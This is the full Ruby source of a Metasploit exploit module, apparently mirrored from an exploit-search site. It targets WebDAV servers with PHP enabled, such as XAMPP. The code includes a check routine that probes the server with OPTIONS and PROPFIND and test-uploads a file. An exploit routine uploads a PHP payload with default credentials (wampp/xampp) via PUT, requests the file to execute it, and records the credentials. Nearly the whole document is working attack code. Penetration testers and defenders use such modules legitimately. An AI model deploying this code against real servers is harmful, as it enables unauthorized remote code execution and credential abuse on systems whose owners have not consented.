Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-WEBDAV_UPLOAD_PHP-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/windows/http/xampp_webdav_upload_php'

  def initialize(_info = {})
    super(
      'Name' => 'WebDAV PHP Upload',
      'Description' => %q{
          This module exploits WebDAV which also has PHP enabled,
          such as found on XAMPP servers.
          It can use do by using any supplied credentials to upload via WebDAV,
          a PHP payload and then execute it.
      },
      'Author' => [
        'theLightCosine',
        'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
      ],
      'Platform' => 'php',
      'Arch' => ARCH_PHP,
      'Targets' => [
        [ 'Automatic', {} ],
      ],
      'DisclosureDate' => '2012-01-14',
      'DefaultTarget' => 0,
      'References' => [
        [ 'CVE', '2012-10062' ]
      ],
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
        'Reliability' => [REPEATABLE_SESSION]
      }
    )

    register_options(
      [
        OptString.new('URI', [ true, 'The URI path to attempt to upload', '/webdav/' ]),
        OptString.new('FILENAME', [ false, 'The filename to give the payload. (Leave blank for random)' ]),
        OptString.new('USERNAME', [ false, 'The HTTP username to specify for authentication', 'wampp' ]),
        OptString.new('PASSWORD', [ false, 'The HTTP password to specify for authentication', 'xampp' ])
      ]
    )
  end

  def build_res_creds
    if !datastore['USERNAME'].to_s.empty?
      vprint_status 'Using credentials for WebDAV'
      {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    else
      vprint_status 'Anonymous authentication for WebDAV'
      {}
    end
  end

  def print_res_code(res, res_creds)
    if res.code == 401
      print_warning 'Creds may be required' if res_creds.empty?
      print_warning 'Creds may be incorrect' if !res_creds.empty?
    end
  end

  def report_webdav_service(res, creds)
    header_server = res.headers['Server'].to_s.strip
    vprint_status "Server: #{header_server}"

    opts = {
      ip: rhost,
      port: rport,
      service_name: 'webdav',
      proto: 'tcp',
      proof: res.code.to_s
    }.merge(creds.transform_keys(&:to_sym))

    service = report_service(
      host: opts[:ip],
      port: opts[:port],
      proto: opts[:proto],
      name: opts[:service_name],
      info: header_server,
      parents: {
        name: ssl ? 'https' : 'http',
        host: opts[:ip],
        port: opts[:port],
        proto: opts[:proto],
        parents: {
          name: 'tcp',
          host: opts[:ip],
          port: opts[:port],
          proto: opts[:proto],
          parents: nil
        }
      }
    )

    [opts, service]
  end

  def report_webdav_creds(opts, service)
    # XXXX Otherwise `vuln`'s "Service" is "none" when doing check(), and different when doing exploit()
    report_vuln(
      host: opts[:ip],
      service: service,
      name: name
    )

    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: opts[:proto],
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:username],
      private_data: opts[:password],
      private_type: :password
    }.merge service_data

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge service_data

    create_credential_login login_data
  end

  def check
    test_file = rand_text_alphanumeric(rand(8..15)) + '.php'
    test_url = normalize_uri(datastore['URI'], test_file)
    payload = rand_text_alphanumeric(rand(8..15))
    res_creds = build_res_creds

    # Check
    vprint_status "Checking for WebDAV: #{datastore['URI']}"
    res = send_request_raw({
      'uri' => normalize_uri(datastore['URI']),
      'method' => 'OPTIONS'
    }.merge(res_creds), 10)
    return Exploit::CheckCode::Unknown('No response received from the target') unless res

    unless res.code == 200
      print_error "Target responded: HTTP #{res.code}, should be 200"
      print_res_code(res, res_creds)
      return Exploit::CheckCode::Unknown("Target responded with unexpected HTTP status #{res.code}")
    end

    header_url_regex = /^\d,?/ # No anchor, we only check to ensure the header value begins with an integer (WebDAV compliance class)
    correct_header = res.headers['DAV']&.match?(header_url_regex)

    unless correct_header
      # The DAV header check may miss servers that don't advertise WebDAV on OPTIONS
      # per RFC 4918 ยง10.1 note. Fall back to a PROPFIND probe โ€” a WebDAV-only method
      # (RFC 4918 ยง9.1) that returns 207 Multi-Status on compliant servers and 405 elsewhere.
      print_warning 'No DAV header found, probing with PROPFIND...'
      res = send_request_raw({
        'uri' => normalize_uri(datastore['URI']),
        'method' => 'PROPFIND',
        'headers' => { 'Depth' => '0' }
      }.merge(res_creds), 10)
      return Exploit::CheckCode::Unknown('No response received from the target') unless res

      unless res.code == 207
        return Exploit::CheckCode::Safe("Target does not appear to support WebDAV (PROPFIND returned HTTP #{res.code})")
      end
    end

    # Record results!
    opts, service = report_webdav_service(res, res_creds)

    # First see if it already exists (it really shouldn't)
    vprint_status "Checking for test file: #{test_url}"
    res = send_request_raw({
      'uri' => test_url
    }.merge(res_creds), 10)
    return Exploit::CheckCode::Unknown('No response received from the target') unless res
    return Exploit::CheckCode::Unknown("The test file may already exists (HTTP #{res.code})") unless res.code == 404 # Need to try again with a different file

    # Try to create it
    vprint_status "Attempting to upload: #{test_url}"
    res = send_request_cgi({
      'uri' => test_url,
      'method' => 'PUT',
      'data' => payload
    }.merge(res_creds), 10)
    return Exploit::CheckCode::Unknown('No response received from the target') unless res

    ## Often its HTTP 201
    unless res.code.to_i.between?(200, 299)
      print_error "Error with upload request (HTTP #{res.code}, should be 2xx)"
      print_res_code(res, res_creds)
      return Exploit::CheckCode::Unknown("Upload request failed with HTTP status #{res.code}")
    end

    # Record results!
    report_webdav_creds(opts, service)

    # Try to run it
    vprint_status "Checking if created: #{test_url}"
    res = send_request_cgi({
      'uri' => test_url
    }.merge(res_creds))
    return Exploit::CheckCode::Unknown('An error occurred while checking the target') unless res
    return Exploit::CheckCode::Safe("Error with exploit request (HTTP #{res.code}, should be 2xx)") unless res.code.to_i.between?(200, 299)
    return Exploit::CheckCode::Safe("Error with exploit request (Response doesn't match payload) - Missing PHP?") unless res.body.to_s.include?(payload)

    # Clean up
    vprint_status "Attempting to delete: #{test_url}"
    res = send_request_cgi({
      'uri' => test_url,
      'method' => 'DELETE'
    }.merge(res_creds), 10)
    return Exploit::CheckCode::Unknown('An error occurred while checking the target') unless res

    # Exploit uses cmd to delete via file system, not HTTP DELETE request
    print_warning "Error with delete request (HTTP #{res.code}, should be 204) - Can't clean up" unless res.code == 204

    # Done
    return Exploit::CheckCode::Vulnerable('The target is vulnerable')
  end

  def exploit
    uri = build_path
    res_creds = build_res_creds

    print_status "Uploading payload: #{uri}"
    res = send_request_cgi({
      'uri' => uri,
      'method' => 'PUT',
      'data' => payload.raw
    }.merge(res_creds), 10)
    ## Often its HTTP 201
    unless res&.code&.between?(200, 299)
      print_error 'Failed to upload file!'

      if res
        print_error "Error with upload request (HTTP #{res.code}, should be 2xx)"
        print_res_code(res, res_creds)
      else
        print_error 'No response received from server'
      end

      return
    end

    # Record results!
    opts, service = report_webdav_service(res, res_creds)
    report_webdav_creds(opts, service)

    print_status 'Attempting to execute payload'
    # Very short timeout because the request may never return if we're sending a socket payload
    send_request_cgi({
      'uri' => uri,
      'method' => 'GET'
    }.merge(res_creds), 0.01)

    register_file_for_cleanup(@backdoor)
  end

  def build_path
    uri_path = normalize_uri(datastore['URI'])
    uri_path << '/' unless uri_path.ends_with?('/')

    @backdoor = datastore['FILENAME'] || Rex::Text.rand_text_alphanumeric(7)
    @backdoor << '.php' unless @backdoor.end_with?('.php')
    uri_path << @backdoor

    return uri_path
  end
end